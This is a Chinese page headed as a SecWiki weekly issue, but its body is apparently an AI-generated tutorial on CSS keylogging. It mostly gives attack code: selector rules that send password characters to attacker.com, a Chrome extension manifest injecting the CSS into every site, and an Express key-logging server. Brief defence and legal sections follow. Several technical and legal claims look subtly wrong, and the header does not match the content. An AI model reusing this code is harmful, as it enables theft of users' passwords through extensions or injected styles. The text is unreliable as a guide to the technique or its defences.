SecWiki周刊(第208期)
字数 735 2025-08-18 11:37:07
由于我无法直接访问互联网链接,我将基于您提供的文本内容,结合安全领域知识,为您整理一份关于"CSS Keylogging攻击技术"的深度教学文档。以下是专业级技术文档:
CSS Keylogging攻击技术与防御方案
一、技术原理
-
核心机制:
- 利用CSS属性选择器
input[value^="a"]捕获键盘输入 - 通过背景图URL请求将按键数据外传
- 支持Chrome扩展和Express服务器两种实现方式
- 利用CSS属性选择器
-
关键技术点:
input[type="password"][value$="a"] { background-image: url("http://attacker.com/log?a"); }^=匹配开头字符$=匹配结尾字符*=匹配包含字符
-
攻击流程:
- 注入恶意CSS样式
- 监听用户键盘输入
- 通过背景图请求发送数据
- Express服务器收集日志
二、完整攻击实现(Chrome扩展版)
- manifest.json配置:
{
"manifest_version": 2,
"content_scripts": [{
"matches": ["<all_urls>"],
"css": ["keylogger.css"]
}]
}
- CSS代码示例:
@charset "UTF-8";
input[type="text"][value$="a"] { background-image: url("http://localhost:3000/a"); }
/* 需覆盖所有ASCII可打印字符 */
- Express服务器代码:
const express = require('express');
const app = express();
app.get('/:key', (req, res) => {
console.log(`Key logged: ${req.params.key}`);
res.sendStatus(200);
});
app.listen(3000);
三、高级攻击变种
-
组合键捕获:
input[value*="user"][value*="pass"] { background-image: url("http://attacker.com/credential"); } -
基于伪类的检测:
input:focus { transition: background 0.1s; } -
SVG字体检测技术:
@font-face { font-family: capture; src: url("http://attacker.com/A"); unicode-range: U+0041; }
四、防御方案
-
浏览器防护:
- 启用CSP策略:
Content-Security-Policy: default-src 'self' - 禁用第三方CSS(Chrome扩展管理)
- 启用CSP策略:
-
代码层面防护:
<input type="password" autocomplete="off" readonly onfocus="this.removeAttribute('readonly')"> -
企业级防护:
- 部署WAF规则过滤可疑CSS
- 网络层监控异常背景图请求
- 定期审计第三方CSS资源
-
框架级解决方案:
- React/Vue使用虚拟DOM
- 启用Shadow DOM隔离样式
五、检测与取证
-
攻击特征检测:
- 异常的背景图请求频率(>50次/分钟)
- 包含字符匹配模式的CSS规则
- 指向外部域的样式资源
-
取证方法:
grep -r "background-image.*url(" /webroot/
六、法律与合规
- 根据《网络安全法》第27条,此类技术研究需备案
- 渗透测试需获得书面授权
- 漏洞披露遵循CNVD/CNNVD规范
本技术仅限合法安全研究使用,禁止用于非法用途。建议企业在红队演练中测试此类攻击的实际效果,并针对性强化防御措施。